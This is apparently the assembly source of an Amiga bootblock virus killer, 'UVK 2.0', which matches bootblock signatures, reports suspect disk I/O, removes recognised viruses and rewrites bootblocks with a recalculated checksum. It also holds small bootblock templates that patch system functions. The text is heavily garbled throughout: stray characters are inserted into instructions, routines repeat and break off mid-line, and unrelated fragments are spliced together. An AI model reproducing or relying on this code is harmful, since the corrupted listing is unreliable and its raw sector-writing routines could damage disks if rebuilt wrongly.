move.b (a0)+,d0 cmp.b (a1),d0 bne.s dosllp addq #1,a1 tst.b (a1) bne.s dosllp moveq #0,d0 move.l buffer,a0 rtslp: cmp.l a0,a5 ;compte les 'RTS' beq.s endrts cmp.b #$4e,(a0)+ bne.s rtslp cmp.b #$75,(a0) bne.s rtslp addq #1,d0 bra.s rtslp endrts: tst.l d0 beq.s codedb2 move.l lenboot,d1 asr.l #8,d1 cmp.l d1,d0 bhi.s okbcod move.l buffer,a0 add.l #12,a0 icodb: move.l #codbl,a1 cryplp: cmp.l a0,a5 beq.s okbcod move.w (a0)+,d0 nmadr: move.l d0,d1 anڀd.w (a1),d1 cmp.w 2(a1),d1 beq.s codedb1 addq #4,a1 tst.w (a1) bne.s nmadr bra.s icodb codedb1:move.l #bootcod1,d2 bra.s codedb codedb2:move.l #bootcod2,d2 codedb:; bsr.L ecrire2 moveq #0,d7 okbcod: move.l buffer,a0 ukslp: cmp.l a0,a5 ;jsr -612(a6) beq.s enduks ;move.l d0,554(a6) addq #2,a0 cmp.l #$4eaefd9c,(a0) bne.s ukslp cmp.l #$2d40022a,4(a0) bne.s ukslp move.l #anamemt,d2 ; bsr.L ecrire2 ; bsr.L orange move.l #usekst,d2 ; bsr.L ecrire2 ; bsr.L normal moveq0q #0,d7 enduks: move.l #adrmodl+2,a2 move.l #analist+2,a1 anabuf: move.l buffer,a0 modiflp:cmp.l a0,a5 beq.L endmod move.w (a0)+,d0 cmp.w (a1),d0 bne.s modiflp modif: move.w 8(a2),d1 ;offset subq #2,d1 move.w 0(a0,d1.w),d2 move.w (a2),d3 ;masque and.w d3,d2 cmp.w 4(a2),d2 beq.s madrr nmodadr:add.l #12,a2 tst.w (a2) bne.s modif move.l #adrmodl+2,a2 bra.s modiflp madrr: tst.l d7 beq.s nomemt move.l #anamemt,d2 ; bsr.L ecrire2 moveq #0,d7 nomemt: cmp.w #$42ae,d2 bne.s nclrmo ; bsr.L orange move.l #motclr,d2 ; bsr.L ecrire2 move.l 2(a1),d2 add.l #10,d2 ; bsr.L ecrire2 ; bsr.L normal bra.s nmodadr nclrmo:; bsr.L orange move.l 2(a1),d2 ; bsr.L ecrire2 ; bsr.L normal endmod: addq #8,a1 tst.w (a1) bne.L anabuf move.l #RetT,d2 ; bsr.L ecrire2 bsr.L waitret nwret: moveq #1,d6 move.l buffer,a0 rwiolp: cmp.l a0,a5 beq.L rwio ;move.w #$000?,$1c(a1) addq #2,a0 ;move.b #$0?,$1c(a1) cmp.w #$237c,(a0) bne.s niopar1 move.w 6(a0),d0 move.l-x 2(a0),d1 bsr.L idiopar niopar1:cmp.w #$42a9,(a0) bne.s niopar2 moveq #0,d0 move.w 2(a0),d1 bsr.L idiopar niopar2:move.l (a0),d0 and.l #$337cfff0,d0 cmp.l #$337c0000,d0 bne.s niocmd cmp.w #$1c,4(a0) bne.s rwiolp bra.s iocmdok niocmd: and.l #$137cfff0,d0 cmp.l #$137c0000,d0 bne.s rwiolp cmp.w #$1d,4(a0) bne.s rwiolp iocmdok:tst.l d6 beq.s npdskt move.l #analt,d2 ; bsr.L ecrire2 move.l #anadskt,d2 ; bsr.L ecrire2 npdskt: moveq #0,d6 moveq #0,d7 move.l #return,d5 *nlea iolist,a2 ioclp: move.b 3(a2),d0 cmp.b 3(a0),d0 bne.s notioc move.l 4(a2),d5 notioc: addq #8,a2 tst.l (a2) bne.s ioclp ; bsr.L orange move.l #useioc,d2 ; bsr.L ecrire2 cmp.l #writio,d5 bne.s notwrc add.b #1,virdia notwrc: cmp.l #readio,d5 bne.s notrec add.b #1,loadia notrec: move.l d5,d2 ; bsr.L ecrire2 ; bsr.L normal bra.L rwiolp rwio: tst.l d7 beq.s endmp1 move.l #ananoth,d2 ; bsr.L ecrire2 bsr.L wait rts endmp1: move.b virdia,d0 move.b loadia,d1 move.b d1,dPY2 add.b d0,d2 tst.b d2 beq.s anaerr cmp.b #2,d0 bge.s survir tst.b virdia beq.s bblo move.l #bbvir1,d2 bra.s endana survir: move.l #bbvir2,d2 bra.s endana bblo: move.l #bbloa,d2 endana:; bsr.L ecrire2 move.l #rett,d2 ; bsr.L ecrire2 bsr.L waitret anaerr: rts idiopar:lea ioparl,a2 idparlp:cmp.w 2(a2),d0 bne.s unpar move.l d1,d4 tst.l d6 beq.s niopt move.l #analt,d2 ; bsr.L ecrire2 move.l #anadskt,d2 ; bsr.L ecrire2 moveq #0,d6 niopt: move.l d4,d0 bsr.L conv novlevqFn: move.l 4(a2),d2 cmp.l #iolen,d2 bne.s nlen cmp.l #$400,d4 bne.s nvlen add.b #1,virdia nvlen: add.b #1,loadia nlen:; bsr.L ecrire2 ; move.l #convtxt,d2 ; bsr.L ecrire2 unpar: addq #8,a2 tst.l (a2) bne.s idparlp rts Link: lea AvailT,a0 bsr.L Status clr.b TimeFlag rts Special:lea AvailT,a0 bsr.L Status clr.b TimeFlag rts Info: move.w #64,d0 move.w #20,d1 move.w #512,d2 move.w #92,d3 bsr.L GfxWinO lea InfoTxt,a0 moveq #10,d1 bsr.L GfxWr3 bsr.L WaitRet bsr.L  ;rts GetMous:move.b #1,MRiFlag clr.l d0 clr.l d1 clr.l d7 move.l WindowHd,a0 move.w 14(a0),d0 ;x move.w 12(a0),d1 ;y cmp.w LastX,d0 ;sleeping bne.s ContMou cmp.w LastY,d1 bne.s ContMou add.l #1,Sleep bra.s ContM2 ContMou:clr.l Sleep ContM2: move.w d0,LastX move.w d1,LastY cmp.w #2,d0 ;out blo.L MOff4 cmp.w #301,d0 bhi.L MOff4 cmp.w #27,d1 blo.L MOff4 cmp.w #78,d1 bhi.L MOff4 btst #10,$dff016 bne.s NotRi clr.b MRiFlag bra.s RiMous NotRi: btst #6,$bfe001 bn @3e.L MousEnd RiMous: move.w d0,d7 sub.w #2,d0 divu #100,d0 sub.w #27,d1 divu #13,d1 move.w d0,d2 move.w d1,d3 lsl.w #4,d0 add.w d1,d0 ;xy lea MousTab,a0 MSubLp: cmp.w 2(a0),d0 beq.s OkMSub add.l #8,a0 bra.s MSubLp OkMSub: move.l 4(a0),a4 cmp.w #$13,d0 beq.L PontMou cmp.w #$23,d0 beq.L PontMou tst.b mriflag beq.L MousEnd clr.l d5 move.w d0,d5 move.l GfxBase,a6 move.l RastPort,a1 mulu #100,d2 add.w #2,d2 mulu #13,d3 add.w #27,d3 lea ClicTab,a3 ClicLp: mo 5ve.l (a3),d0 jsr -342(a6) ;setapen move.l d2,d0 move.l d3,d1 add.l 4(a3),d0 ;x1 add.l 8(a3),d1 ;y1 jsr -240(a6) ;move add.l 12(a3),d0 ;x2 add.l 16(a3),d1 ;y2 jsr -246(a6) ;draw add.l #20,a3 cmp.l #-1,(a3) bne.s cliclp MouOff: clr.l d0 clr.l d1 move.l WindowHd,a0 move.w 14(a0),d0 ;x move.w 12(a0),d1 ;y cmp.w #2,d0 ;out blo.L MouEnd2 cmp.w #301,d0 bhi.L MouEnd2 cmp.w #27,d1 blo.L MouEnd2 cmp.w #78,d1 bhi.L MouEnd2 sub.w #2,d0 ;col/lig divu #100,d0 sub.w #2 @ܺ7,d1 divu #13,d1 move.w d0,d2 move.w d1,d3 lsl.w #4,d0 add.w d1,d0 ;xy cmp.w d0,d5 bne.s MouEnd2 btst #6,$bfe001 beq.s MouOff bsr.L DrawIm2 bsr.s ShConDr PontMou:btst #10,$dff016 beq.s PontMou MouOff2:btst #6,$bfe001 beq.s MouOff2 clr.l d3 jsr (a4) bsr.s ShConDr MOff4: btst #6,$bfe001 beq.s MOff4 MousEnd:rts MouEnd2:bsr.L DrawIm2 bsr.s ShConDr MOff3: btst #6,$bfe001 beq.s MOff3 rts ;show connected drives ShConDr:lea DriveC,a2 lea DrivT+2,a3 moveq #0,d2 SConLA.p: tst.b 0(a2,d2.l) beq.s SNotCon cmp.l Drs,d2 beq.s SNotCon cmp.l Drd,d2 beq.s SNotCon move.l d2,d3 add.l #$30,d3 move.b d3,(a3) move.l d2,d3 mulu #50,d3 add.l #111,d3 move.l d3,d0 move.l #74,d1 lea DrivT,a0 move.l #0,Color bsr.L GfxWr2 SNotCon:addq #1,d2 cmp.l #4,d2 bne.s SConLp move.l Drd,d3 cmp.l Drs,d3 beq.s ShDrs clr.b MRiFlag bsr.L DrConOk ShDrs: move.l Drs,d3 bsr.L DrConOk move.l Drs,d0 add.l #$30,d0 lea SouT,a0 move.b d0,19(a0) move.l DrD,d0 a^ dd.l #$30,d0 lea DesT,a0 move.b d0,24(a0) rts StaSub: tst.b TimeFlag bne.s EndSta sub.l #1,TimeSta tst.l TimeSta bne.s EndSta move.l #$200,TimeSta move.b #1,TimeFlag bsr.L ClrSta EndSta: rts NextDrs:lea Drs,a0 bra.s TstDr NextDrd:lea Drd,a0 TstDr: move.l (a0),d0 lea DriveC,a1 SeaNDr: addq #1,d0 cmp.l #4,d0 bne.s NoLastD clr.l d0 NoLastD:tst.b 0(a1,d0.l) beq.s SeaNDr move.l d0,(a0) bsr.L ShConDr rts GfxWinO:move.b #1,RastFlag lea Window2,a0 move.w d0,(a0) move}3l.w d1,2(a0) move.w d2,4(a0) move.w d3,6(a0) move.l IntBase,a6 lea Window2,a0 jsr -204(a6) ;openwindow move.l d0,WindowHd2 move.l WindowHd2,a0 move.l 50(a0),RastPort2 move.l GfxBase,a6 move.l RastPort2,a1 moveq #2,d0 jsr -342(a6) clr.l d0 clr.l d1 movem.l d1/a1,-(a7) jsr -306(a6) ;modif a1/d1 movem.l (a7)+,d1/a1 subq #1,d2 subq #1,d3 jsr -240(a6) moveq #3,d0 jsr -342(a6) ;modif d0/d1 move.l d2,d0 clr.l d1 jsr -246(a6) ;modif d1/a1 clr.l d0 clr.l d1 movKLe.l RastPort2,a1 jsr -240(a6) move.l d3,d1 jsr -246(a6) moveq #1,d0 clr.l d1 move.l RastPort2,a1 jsr -240(a6) move.l d3,d1 jsr -246(a6) moveq #1,d0 move.l RastPort2,a1 jsr -342(a6) ;modif d0/d1 clr.l d0 move.l d3,d1 jsr -240(a6) move.l d2,d0 jsr -246(a6) move.l RastPort2,a1 clr.l d1 move.l d2,d0 jsr -240(a6) move.l d3,d1 jsr -246(a6) move.l RastPort2,a1 clr.l d1 move.l d2,d0 subq #1,d0 jsr -240(a6) move.l d3,d1 jsr -246(a6) rts GfxWinC:clr.b RastFlaOng move.l IntBase,a6 move.l WindowHd2,a0 jsr -72(a6) ;closewindow rts WaitRet:bsr.L GetKey cmp.b #$43,d0 beq.s EWRet cmp.b #$44,d0 beq.s EWRet btst #10,$dff016 bne.s WaitRet WRLp: btst #10,$dff016 beq.s WRLp EWRet: rts Reset: move.l #$fc00d2,$80 trap #0 rts Check: bsr.L ReadTrk bne.L EndChk bsr.L ChkBoot bne.L EndChk moveq #1,d2 move.l Buffer,a0 lea VirList,a1 VirLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoVir move.l 4(a0,d0.l),d1 cmp.lK9 8(a1),d1 bne.s NoVir move.l 12(a1),a0 moveq #6,d0 moveq #88,d1 clr.l Color bsr.L GfxWr2 lea Detect,a0 lsl.l #3,d0 addq #6,d0 moveq #88,d1 bsr.L GfxWr clr.b TimeFlag bra.s KillV NoVir: add.l #16,a1 tst.l (a1) bne.s VirLp lea UnkT,a0 bsr.L Status clr.b TimeFlag rts KillV: move.w #150,d0 move.w #50,d1 move.w #304,d2 move.w #79,d3 bsr.L GfxWinO moveq #5,d0 moveq #15,d1 lea KillT,a0 bsr.L GfxWr KVLoop: btst #10,$dff016 beq.s KVExit btst #6,$bfe001 beq.s K,B߽VKill bsr.L GetKey cmp.b #$12,d0 beq.s KVExit2 cmp.b #$27,d0 beq.s KVKill2 bra.s KVLoop KVKill: btst #6,$bfe001 beq.s KVKill KVKill2:move.l Drs,d4 ; bsr.s WriT bsr.L GfxWinC lea VirKil,a0 bsr.L Status clr.b TimeFlag rts KVExit: btst #10,$dff016 beq.s KVExit KVExit2:bsr.L GfxWinC rts EndChk: rts ChkBoot:move.l Buffer,a0 lea BootList,a1 BSpeLp: move.l (a1),d0 move.l 0(a0,d0.l),d1 cmp.l 4(a1),d1 bne.s NoBSpe move.l 4(a0,d0.l),d1 cmp.l 8(a1),d1 bne.s NoBSpe move. UF,40(a1) move.l #0,44(a1) jsr doio(a6) move.w #4,28(a1) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.*il 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK: DC.B "trackdisk.device",0 even len: dc.l 0 GOON: DC.L 0 buffer: dc.l 0 buf: DC.b "DOS",0 DC.L 0 DC.L $370 bra.s ContIrq dc.b ">IRQ Protector<",0 ContIrq:movem.l d0-d7/a0-a6,-(a7) move.l $4,a6 moveq #6,d0 moveq #1,d1 jsr -198(a6) ;allocmem move.l d0,a0 beq.s IrqErr move.w #$4ef9,(a0)+ move.l -406(a6),(a0) move.l a6,a1 move.l #-408,a0 jsr -420(a6) ;setfunction IrqErr: movem.l (a7)+,d0-d7/a0-a6 move.l $4,a6 lea dosname(pc),a1 { h jsr -96(a6) MOVE.L D0,A0 MOVE.L $16(A0),A0 MOVEQ #$00,D0 RTS dosname:dc.b "dos.library",0 blk.b $390,0 ;LEN ENDBOOT: r doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.ve.l d0,16(a0) lea DiskPort,a1 jsr -354(a6) ;addport lea IoReq,a1 move.l #DiskPort,14(a1) ;Open Connected drives lea DriveC,a2 lea Drive0,a3 moveq #0,d2 OCDrLp: tst.b 0(a2,d2.l) beq.s NOpenD move.l d2,d0 clr.l d1 lea TrkDisk,a0 move.l 4,a6 jsr -444(a6) ;opendev tst.l d0 bne.L End lea IoReq,a1 move.l 24(a1),(a3) NOpenD: addq #1,d2 addq #4,a3 cmp.l #4,d2 bne.s OCDrLp move.l IntBase,a6 lea Screen,a0 jsr -198(a6) ;openscreen *1 move.l d0,Screenhd ; move.l J56(a6),Screenhd ;current *2 move.l Screenhd,Scr1 move.l Screenhd,Scr2 lea Window,a0 jsr -204(a6) ;openwindow move.l d0,WindowHd move.l Windowhd,a0 move.l 50(a0),RastPort bsr.L DrawIm2 bsr.L ShConDr lea DateTxt,a0 bsr.L Status move.l #$200,TimeSta Loop: bsr.L DrawIma bsr.L StaSub bsr.L GetMous tst.b EndFlag beq.s Fin bsr.L GetKey cmp.b #$45,d0 beq.s Fin lea KeyTab,a0 KeyTLp: cmp.b 3(a0),d0 bne.s KeyNOk move.l 4(a0),a1 jsr (a1) bra.s Loop KeyNOk: addq #x'8,a0 tst.l (a0) bne.s KeyTLp bsr.L GetMsg tst.l d0 beq.s Loop Fin: move.l IntBase,a6 move.l WindowHd,a0 jsr -72(a6) ;CloseWindow move.l ScreenHd,a0 jsr -66(a6) ;CloseScreen *1 move.l $4,a6 lea IoReq,a1 jsr -450(a6) ;CloseDev lea DiskPort,a1 jsr -360(a6) ;RemPort move.l Buffer,a1 move.l #$400,d0 jsr -210(a6) ;FreeMem bsr.L OldPrefs move.l IntBase,a1 bsr.s ClosLib move.l GfxBase,a1 bsr.s ClosLib move.l DosBase,a1 bsr.s ClosLib moveq #0,d0 End: rts Ends+ 2: move.b #0,EndFlag rts OpenLib:move.l 4,a6 clr.l d0 jsr -552(a6) rts ClosLib:move.l 4,a6 jsr -414(a6) rts PrintI: move.l IntBase,a6 move.l RastPort,a0 move.l #TextW,a1 move.l #10,d0 move.l #30,d1 jsr -216(a6) ;printitext rts Bord: move.l IntBase,a6 move.l RastPort,a0 lea Border,a1 move.l #20,d0 move.l #80,d1 jsr -108(a6) ;drawborder rts OldPrefs:move.l IntBase,a6 move.l #OPrefs,a0 move.l #232,d0 move.l #0,d1 jsr -324(a6) ;setprefs rts SetPref:move.l IntfBase,a6 move.l #Prefs,a0 move.l #232,d0 move.l #0,d1 jsr -324(a6) ;setprefs rts GfxWr3: moveq #8,d0 bra.L GfxWr ClrSta: lea ClrStat,a0 Status: moveq #6,d0 moveq #88,d1 GfxWr: move.l #3,Color GfxWr2: movem.l a0-a6,-(a7) MoveLp: move.l GfxBase,a6 tst.b RastFlag ;para rastport beq.s Rast1 move.l RastPort2,a1 bra.s Rast2 Rast1: move.l RastPort,a1 Rast2: move.l d0,d4 move.l d1,d5 jsr -240(a6) ;move move.l Color,d0 ;txt jsr -342(a6) ;setapen moveq #2,d0 ;fond jsr -348(a6xƐ) ;setapen move.l a0,-(a7) moveq #0,d0 GfxWrLp:cmp.b #10,(a0) bne.s NoRetC move.b #1,RetFlag bra.s RetC NoRetC: addq #1,d0 cmp.b #-1,(a0)+ bne.s GfxWrLp subq #1,d0 ;Nb Char RetC: move.l (a7),a0 move.l d0,-(a7) jsr -60(a6) ;text (a0/a1/d0) move.l (a7)+,d0 move.l (a7)+,a0 tst.b RetFlag beq.s EndGWr addq #1,d0 add.l d0,a0 move.l d4,d0 ;x move.l d5,d1 add.l #8,d1 ;y clr.b RetFlag bra.s MoveLp EndGWr: movem.l (a7)+,a0-a6 rts DrawIma:move.l IntBase,a6 lea Imag {!e2,a1 moveq #0,d0 moveq #0,d1 move.l RastPort,a0 jsr -114(a6) ;drawimage rts DrawIm2:move.l IntBase,a6 lea Image,a1 moveq #0,d0 moveq #0,d1 move.l RastPort,a0 jsr -114(a6) ;drawimage rts getmsg: move.l 4,a6 move.l WindowHd,a0 move.l 86(a0),a0 jsr -372(a6) ;getmsg move.l d0,a0 move.l 20(a0),d6 ;evenement rts GetKey: clr.l d0 move.b $bfec01,d0 btst #0,d0 beq.s EGKey WKeyR: move.b $bfec01,d0 btst #0,d0 bne.s WKeyR not.b d0 lsr.b #1,d0 rts EGKey: clr.l d0 y։;openresource move.l d0,a6 moveq #0,d2 SConDr: move.l d2,d0 jsr -30(a6) tst.l d0 bne.s NotCon move.b #1,0(a2,d2.l) addq #1,d3 cmp.l #1,d3 bne.s SetDest move.l d2,Drs ;initsou move.l d2,Drd ;initdest SetDest:cmp.l #2,d3 bhi.s NotCon move.l d2,Drd ;initdest NotCon: add.l #1,d2 cmp.l #4,d2 bne.s SConDr bsr.L SetPref move.l 4,a6 move.l #$10002,d1 move.l #$400,d0 jsr -198(a6) ;AllocMem move.l d0,Buffer sub.l a1,a1 jsr -294(a6) ;findtask lea DiskPort,a0 moEz0(a6) bne.s Kill moveq #0,d2 move.w #-634,d2 lea ExecExc,a0 ExecLp: addq.w #6,d2 cmp.w (a0),d2 bne.s ExecNEx addq.l #2,a0 bra.s ExecLp ExecNEx:move.l 0(a6,d2.w),d1 and.l #$ff0000,d1 cmp.l #$fc0000,d1 bne.L Kill cmp.w #-4,d2 bne.s ExecLp lsr.l #3,d7 move.l d7,$180(a5) movem.l (a7)+,d0-d7/a0-a6 move.l $4,a6 lea dosname(pc),a1 jsr -96(a6) move.l d0,a0 move.l $16(a0),a0 moveq #$0,d0 rts Dosname:dc.b "dos.library",0 blk.b $312,0 ;LEN ENDBOOT: .l 0 buf: dc.b "D(Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rts Intbase:dc.l 0 OldOpW: dc.l 0 Intuition:dc.b "intuition.library",0 Text: dc.b "AmiguyDos",0  EI6O uvkcl3f.S7 jsr opendevice(a6) tst.l d0 bne.s end lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITEB end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L $4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) clr.l 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk CLR.L GOON OKDK: rts writeb: bsr.L drive bsr.L protect cmp.l #1,goon bne.s endwrit move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) move.l #1024,36(a1) move.l #B=6) move.l d0,dosbase move.l #$10002,d1 move.l #1024,d0 jsr allocmem(a6) move.l d0,buffer sub.l a1,a1 jsr findtask(a6) lea diskport,a0 move.l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 jsr opendevice(a6) ;ouvre trackdisk.device tst.l d0 bne.s end ;calcule checksum lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITVEB ;ecrit boot end: move.l $4,a6 move.l buffer,a1 move.l #1024,d0 jsr freemem(a6) move.l $4,a6 move.l dosbase,a1 jsr closelibrary(a6) MOVE.L $4,A6 LEA DISKIOREQ,A1 JSR CLOSEDEVICE(A6) move.l len,d0 rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) ;command = motor off clr.l 36(a1) jsr doio(a6) rts protect:move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #15,28(a1) ;command = write protect ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) ;non beq.s Bokprot CLR.L GOON OKPROT: rts drive: move.l $4,a6 MOVE.L #1,GOON lea diskioreq,a1 move.w #14,28(a1) ;command = disk dans drive ? jsr doio(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk ;ok CLR.L GOON OKDK: rts writeb: bsr.L drive ;disk in drive ? bsr.L protect ;wriet enable ? cmp.l #1,goon bne.s endwrit ;erreur move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) ;command = write move.l #1024,36(a1) ;len = $400 (2 block) move.l #BUF,40(a1) ;buffer move.l #0,44(a1) ;sU?offset (piste 0) jsr doio(a6) move.w #4,28(a1) ;update (tjs apres write) move.l #1024,36(a1) move.l #BUF,40(a1) move.l #0,44(a1) jsr doio(a6) tst.l d0 beq.s okwr okwr: bsr.L motor ;motor off endwrit:rts dosbase:dc.l 0 conhandle: dc.l 0 key: dc.b 0 even diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 v dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TRKDISK: DC.B "trackdisk.device",0 even len: dc.l 0 GOON: DC.L 0 buffer: dc.l 0 buf: DC.b "DOS",0 DC.L 0 DC.L $370 movem.l d0-d7/a0-a6,-(a7) ;------------------------------------------------------------- run: lea Intuition(pc),a1 move.l 4,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) move.l d0,a0 lea OldOpW(pc),a1 move.l -202(a0),(a1) move.l 4,a6 move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 js82r -198(a6) move.l d0,a1 lea NewOpW(pc),a0 move.l #ENewOpW-NewOpW,d1 CopyLp: move.b (a0)+,(a1)+ dbf d1,CopyLp bsr.s SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) bra.s fin NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OldOpW(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 move.w #256,6(a0) lea Text(pc),a1 move.l a1,26(a0) movem.l (a7)+,d0-d7/a1-a6 bra.s OpenW SetFunc:move.l 4,a6 lea Intbase(pc),a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) ;Setfunc rts Intbase:dc.l 0 OpenW: dc.w $4ef9 OldOpW: dc.l 0 Intuition:dc.b "intuition.library",0 Text: dc.b "AmiguyDos",0 ENewOpW: ;placer ici le prg ;------------------------------------------------------------- fin: movem.l (a7)+,d0-d7/a0-a6 even move.l $4,a6 lea dosname(pc),a1 jsr -96(a6) MOVE.L D0,A0 MOVE.L $16(A0),A0 MOVEQ #$00,D0 RTS dosname:dc.b "dos.library",0 blk.b $310,0 ;LEN ENDBOOT: a1) move.l 4,a6 move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 js5Tyse dc.l $28,Link,$32,Special,$3d,End2,$27,Keys,$17,Amiguy dc.l $33,ChkSum dc.l 0 MousTab: dc.l $00,Check,$10,Display,$20,Copy,$01,Move,$11,Install,$21,Analyse dc.l $02,Link,$12,Special,$22,Info,$03,End2,$13,Dr0,$23,Dr2 dc.l 0,0 ClicTab:dc.l 1,0,0,95,0,1,0,0,0,10,1,1,0,0,10,3,2,11,95,0,3,96,1,0,10 dc.l 3,97,1,0,10,2,4,12,95,0,2,98,2,0,10,2,99,2,0,11 dc.l -1 GfxLib: dc.b "graphics.library",0 TrkDisk:dc.b "trackdisk.device",0 TitleWnd:dc.b "UVK 2.0",0 TitleWnd2:dc.b "UVK 2.1",6f`0 ClrStat:dc.b " ",-1 DateTxt:dc.b "Version 2.0 (10th of June 1990). ",-1 DskPro: dc.b "Disk is write protected. ",-1 NoDsk: dc.b "No disk in drive. ",-1 NoFnd: dc.b "File not found. ",-1 ReadErr:dc.b "Read error ! ",-1 WriErr: dc.b "Write error ! ",-1 AvailT: dc.b "Not available now. Please wait ... ",-1 NotCDr: dc.b "This drive is not connected ! 7KG ",-1 UnkT: dc.b "Nothing suspect ... ",-1 OkCopT: dc.b "Bootblock copied. ",-1 SouT: dc.b "Insert Source in DFx: ",-1 DesT: dc.b "Insert Destination in DFx: ",-1 ChkCor: dc.b "Checksum corrected. ",-1 ChkCal: dc.b "Calculating new checksum ... ",-1 ChkSav: dc.b "Saving the bootblock ... ",-1 ChkRd: dc.b "Reading the bootblock ... ",-1 VirKil: dc.b "Virus killed. 8vj ",-1 DrivT: dc.b "DF0:",-1 Detect: dc.b " detected",-1 InfoTxt: dc.b "UVK recognizes the following viruses :",$a,$a dc.b "SCA (AEK/LSD/BS1), Byte Bandit (Forpib), Byte Warrior (DASA),",$a dc.b "Pentagon Circle, Lamer Exterminator 1-4, Northstar 1-2, VKill,",$a dc.b "Disk-Doktors, Gadaffi, Revenge V1.2, HCS 1-2, Claas Abraham,",$a dc.b "Obelisk, Noname (Icognito), GxTeam, Termigator, IRQ (Ram),",$a dc.b "BGS9 (Ram), Revenge of the lamer (Ram).",$a dc.b -1 KillT: dc.b "---------- 9Nc WARNING !!! ----------",$a,$a dc.b "A virus was detected in Source drive.",$a,$a dc.b "Hit the LEFT mouse button to KILL it.",$a dc.b "Hit the RIGHT one to EXIT.",$a,$a dc.b "-------------------------------------" dc.b -1 even DosBase:dc.l 0 GfxBase:dc.l 0 WindowHd:dc.l 0 WindowHd2:dc.l 0 ScreenHd:dc.l 0 RastPort:dc.l 0 RastPort2:dc.l 0 DriveC: dc.l 0 ;drives connected TimeSta:dc.l 0 WbMsg: dc.l 0 Color: dc.l 0 Drs: dc.l 0 Drd: dc.l 0 Sleep: dc.l 0 Buffer: dc.l 0 Drive0: :Yudc.l 0 Drive1: dc.l 0 Drive2: dc.l 0 Drive3: dc.l 0 LastX: dc.w 0 LastY: dc.w 0 EndFlag:dc.b 1 TimeFlag:dc.b 1 RetFlag:dc.b 0 MRiFlag:dc.b 1 RastFlag:dc.b 0 LastKey:dc.b 0 even ScrBuf: blk.b 1042,-1 ;Buffer display Data: blk.b 6992,0 Data2: blk.b 1368,0 Prefs: blk.b 232,0 OPrefs: blk.b 232,0 Try1: dc.l 0 Try2: dc.l 0 Try3: dc.l 0 Try4: dc.l 0 lisk, Noname (Icognito), GxTeam, Termigator, IRQ (Ram),",$a dc.b "BGS9 (Ram), Revenge of the lamer (Ram).",$a dc.b -1 KillT: dc.b "---------- &l d0,16(a0) clr.l d0 move.b #0,d0 lea diskioreq,a1 lea trkdisk,a0 jsr opendevice(a6) ;ouvre trackdisk.device tst.l d0 bne.s end ;calcule checksum lea BUF,A0 LEA 4(A0),A1 CLR.L (A1) MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ; BSR.L WRITEB 